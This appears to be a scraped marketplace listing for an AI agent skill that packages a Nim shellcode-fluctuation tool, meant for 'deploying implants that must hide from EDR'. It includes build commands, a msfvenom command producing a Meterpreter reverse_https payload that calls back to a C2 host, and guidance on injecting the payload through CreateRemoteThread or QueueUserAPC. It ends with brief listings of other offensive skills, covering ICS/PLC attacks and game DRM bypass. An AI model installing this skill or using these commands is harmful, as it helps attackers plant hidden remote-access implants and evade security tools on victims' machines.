offensive-tools/evasion/nim-shellcode-fluctuation/SKILL.md
Nim port of shellcode fluctuation — encrypts injected shellcode in memory between executions to evade memory scanners. Use when deploying implants that must hide from EDR in-memory scanning of RWX regions.
npx skillsauth add aeondave/malskill nim-shellcode-fluctuationInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Memory evasion — encrypts shellcode (XOR/RC4) in RX pages between C2 callbacks.
# Install Nim
# nimble install winim
# Build
nim c -d:release -d:strip --opt:size -o:agent.exe fluctuation.nim
# Inject shellcode (embed in source)
# Replace SHELLCODE placeholder in nim source with msfvenom/Cobalt output
const SLEEP_MS = 5000 # Sleep between beacons
const XOR_KEY = 0x41 # Encryption key byte
const FLUCTUATE = true # Enable/disable fluctuation
Generate shellcode and embed:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=C2 LPORT=443 -f raw -o shell.bin
# Base64-encode and embed in nim source
python3 -c "import base64; print(base64.b64encode(open('shell.bin','rb').read()).decode())"
Combine with process injection:
# Use createRemoteThread or QueueUserAPC for injection
# then enable fluctuation in the injected thread
| File | When to load |
|------|--------------|
| references/ | APC injection variants and EDR bypass notes |
data-ai
Scoped routing: Linux operator; hosts, sessions, users, services, packages, logs, containers, SSH, network paths, privilege evidence.
development
Offensive methodology for ICS/OT/SCADA environments in authorized industrial penetration testing and red team operations. Use when assessing PLCs, RTUs, HMIs, engineering workstations, historians, or field devices running Modbus, DNP3, EtherNet/IP, S7comm/S7+, Profinet, IEC 60870-5-104, BACnet, or OPC-UA. Covers passive OT network enumeration, protocol-level device interrogation, PLC coil/register read-write attacks, HMI session exploitation, historian and engineering workstation compromise, and safe escalation rules for critical infrastructure scope. Does not cover: general IT network exploitation (network-technique), physical hardware interfaces UART/JTAG/SPI (hardware-technique), wireless sensor network attacks (wireless-technique), RF/SDR signal analysis (hardware-ctf or wireless-technique), or CTF-framed ICS lab tasks (ics-ctf).
tools
Offensive methodology for authorized game security assessments, game client security research, and game-adjacent penetration testing in real-world engagements. Use when assessing game clients for cheating vulnerabilities, testing anti-cheat effectiveness, auditing game server protocols for score manipulation or economic fraud, reverse engineering game DRM or license validation, analyzing game save file protection, or assessing game mod/plugin security. Covers: process memory scanning and manipulation (Cheat Engine methodology), game binary reversing for license and DRM bypass, game network protocol analysis and packet replay, anti-cheat mechanism analysis, save file format reversing and tampering, speed hack and value injection techniques. Does NOT cover: CTF game challenges (game-ctf), game engine source code auditing (web-exploit-technique or vuln-search-technique for the backend), or general binary exploitation (pwn-ctf or reversing-technique).
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.